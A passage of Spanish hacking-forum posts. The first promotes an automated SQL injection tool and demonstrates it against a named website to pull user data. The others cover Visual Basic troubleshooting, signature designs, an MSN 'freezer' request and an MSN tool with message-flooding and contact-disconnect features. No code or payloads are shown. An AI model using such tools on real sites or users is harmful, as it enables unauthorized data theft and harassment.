    Password: http://www.eduhack.es

    Es necesario tener instalado en vustro pc el Microsoft .Net Framework para ejecutar la aplicación. En caso de error, descargable desde AQUÍ


    Que es SQL Injection Tool?

    SQL Injection Tool es una herramienta que realiza inyecciones sql automáticamente a una web vulnerable, de una forma muy sencilla y totalmente gráfica.

    Ejemplo de uso

    Vamos a probar la herramienta con http://www.bullcariez.es/index1.php?id=1

    Introducimos la url en el Campo y click en comprobar.



    Nos dice que es vulnerable y se habilita un nuevo boton, el cual pulsamos y esperamos (esperamos, no valla a petar que es beta xDD):



    Cuando termine de cargar clicamos en users:



    Clicamos en los campos que queramos ver:




    Así de sencillo podemos obtener valores de una base de datos, y si tenemos mala fe, defacearla, aunque no hice ésta aplicación para eso, sinó para mostrar lo sencillo que puede ser inyectar consultas sql que comprometen la seguridad de muchas webs.


    Limitaciones de ésta versión:

    -Falla en algunos casos debido a comportamientos diferentes de lo esperado.
    -Cuelgues o retrasos inesperados ante un retraso en la carga de la web.
    -Hay que poner una url del tipo página.com/index.php?id=123.

    Novedades para la siguiente versión:

    -Funcional con muchos más casos de webs.
    -Uso de dorks para buscar páginas vulnerables en google.
    -AutoSearch para buscar variables vulnerables en una página.
    -Optimización del código y arreglo de bugs.


    Espero sugerencias  :P


    Saludos
    #22
    Haber si alguien me puede ayudar o por lo menos aclararme esta duda que tengo. Tengo el modulo en vb para cambiar el icono a ejecutables. El problema es que en Windows Vista no funciona (que raro) o me funciona con poquísimos iconos y "aveces". Luego probé el iconchanger de tughack y tampoco me funciona bien en vista. Si tengo un .exe en el escritorio y le cambio el icono con el iconchanger, pues el icono se queda como al principio, sin embargo, si abro cun commondialog y busco ese archivo, aparece con el icono que le quería poner  :-\. Me parece raro, alguna forma de cambiar iconos en Windows Vista?
    Saludos
    #23
    Diseño Gráfico / Que opinan de esta firma?
    6 Enero 2008, 21:54 PM
    Que les parece mi nueva firma?
    La iré actualizando con lo que le añada, modifique o quite, para que me deis vuestras opiniones sobre cual es la mejor

    Primera



    Segunda



    Tercera



    Cuarta



    Quinta



    Espero criticas para que me digan que le falta, que le sobra, lo que os gusta de una pero que le falta a otra, etc.
    Salu2
    #24
    Pues verán mi code falla, y supongo que es al registrar un ocx, lo copio a windows y lo registro con regsvr32, pero al ejecutarlo windows dice que se trata de una herramienta potencialmente peligrosa y no deja ejecutarla..... alguien sabe??
    Salu2
    #25
    Verán, estoy haciendo la nueva version de mi programa (automsn 2.5) y tengo un problema. En my pc va bien, pero cuando se lo paso a otro pc este le da un error:

    error '430' en tiempo de ejecucion: Esta clase no admite Automatización o la interfaz esperada

    Utilizo el control systray, pero tengo el ocx junto al ejecutable y al ejecutar el exe lo copio a system y lo registro, por lo que dudo que el error se deba a esto.
    Leí por ahi que ese error se debía a que instalando el MDAC y registrando las librerias del ADO se podia solucionar, pero no fue asi. En el programa uso la API del msn, y este error creo que tambien se producía en la versión anterior, por lo que no se dónde está el problema. He buscado las dependencias que usa con el OllyDbg, y he comprobado que en el pc que no arranca el exe, existen las librerías que utilza, pero por ejemplo la librería "kernel32.dll" tiene un tamaño diferente, pero esta no puede ser substituída. No sé que hacer, y he buscado por todas partes, por eso recurro a vosotros.
    Salu2 y gracias
    #26
    Programación Visual Basic / Freezer
    25 Diciembre 2007, 23:07 PM
    Alguien sabe donde pudeo buscar informacion para crear un freezer para el msn? esque estoy perdido, y no sé por donde empezar  :rolleyes:
    Salu2
    #27
    Diseño Gráfico / Que opinan de mi nueva firma???
    8 Diciembre 2007, 21:31 PM
    Bueno, aquí les dejo mi último diseño, espero que les guste  me den sus opiniones



    Salu2
    #28
    Weno, os presento el AutoMSN 2.0, del que he aprendido mucho creando y creo que merece la pena bajarlo. Os hago una dscripción con las mejorar respecto de la versión anterior:

    -Añadido gestor de contactos, para seleccionar el contacto al que se le realizarán las acciones, por lo que el error de la ventana de la versión anterior está solucionado.


    -Función autoenvío mejorada, añadida cuenta atrás y ahora si se puede en segundos, minutos....

    -Función contar: Es una especie de cuenta (progresiva o regresiva) al que se le puede añadir un mensage y que se envía cada segundo, muy bueno para dar avisos....

    -Función bombardear: Envía el mensage selecionado un numero de veces de una sola tacada.

    -Función desconectar: Desconecta a un contacto. Úsenlo con criterio, no abusen.

    Parte de las funciones las he realizado gracias al MSN kick de |MADANTRAX| y del weon molestoso de CesarTkgo69, a los que doy mil gracias, ya que por su aportación, he aprendido mucho.

    Aquí les dejo el link---> http://www.megaupload.com/?d=VTJXSUKI

    Salu2